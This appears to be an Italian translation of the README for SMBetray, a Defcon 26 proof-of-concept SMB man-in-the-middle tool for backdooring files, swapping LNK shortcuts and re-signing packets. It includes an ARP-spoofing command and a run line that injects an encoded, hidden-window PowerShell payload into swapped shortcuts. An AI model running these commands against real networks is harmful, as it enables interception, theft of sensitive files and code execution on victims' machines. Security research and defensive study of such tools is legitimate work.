quickbreach/smbetrayStrumento SMB MiTM con un focus sull'attacco ai client tramite scambio di contenuti di file, scambio di lnk, nonché compromissione di qualsiasi dato trasmesso in chiaro sulla rete.
Versione 1.0.0. Questo strumento è un PoC per dimostrare la capacità di un attaccante di intercettare e modificare connessioni SMB non sicure, oltre a compromettere alcune connessioni SMB protette se le credenziali sono note.
Presentato al Defcon26 con "SMBetray - Backdooring and Breaking Signatures"
Nelle connessioni SMB, i meccanismi di sicurezza che proteggono l'integrità dei dati scambiati tra server e client sono la firma (SMB signing) e la crittografia. Le firme nei pacchetti SMB quando si utilizza la firma SMB si basano su chiavi derivate da informazioni inviate in chiaro sulla rete durante la fase di autenticazione, oltre che dalla password dell'utente. Se la password dell'utente è nota, un attaccante può ricreare la SessionBaseKey e tutte le altre chiavi SMB e usarle per modificare i pacchetti SMB e ri-firmarli in modo che vengano considerati pacchetti validi e legittimi dal server e dal client. Inoltre, la firma è disabilitata per impostazione predefinita su quasi tutto tranne che sui controller di dominio, quindi la necessità di rompere le firme è rara.
L'obiettivo di questo strumento è spostare l'obiettivo del MiTM su SMB dall'attacco al server tramite connessioni relayed, all'attacco al client attraverso file dannosi e dati backdoor/sostituiti quando si presenta l'occasione. Infine, poiché la crittografia è usata raramente, come minimo questo strumento consente di rubare file trasmessi in chiaro sulla rete - cosa che può essere utile per l'enumerazione del sistema o dannosa se i dati intercettati sono di natura sensibile (PCI, PII, ecc.).
Maggiori informazioni di base e demo possono essere trovate qui https://blog.quickbreach.io/smbetray-backdooring-and-breaking-signatures/
Richiede un sistema che utilizzi iptables
sudo bash install.sh
Prima, esegui un attacco di avvelenamento della cache ARP bidirezionale tra la vittima e il suo gateway o le condivisioni di rete di destinazione, ad esempio:
sudo arpspoof -i <iface> -c both -t <target_ip> -r <gateway_ip>
Quindi esegui smbetray con alcuni moduli di attacco
sudo ./smbetray.py --passive ./StolenFilesFolder --lnkSwapAll "powershell -noP -sta -w 1 -enc AABCAD....(etc)" -I eth0
Una demo dello strumento può essere trovata qui: https://blog.quickbreach.io/smbetray-backdooring-and-breaking-signatures/
Maggiori informazioni in arrivo - attualmente lo strumento non supporta connessioni solo SMBv1, il che non è un problema nel 99% dei casi. Il codice è brutto, ma ha una grande personalità.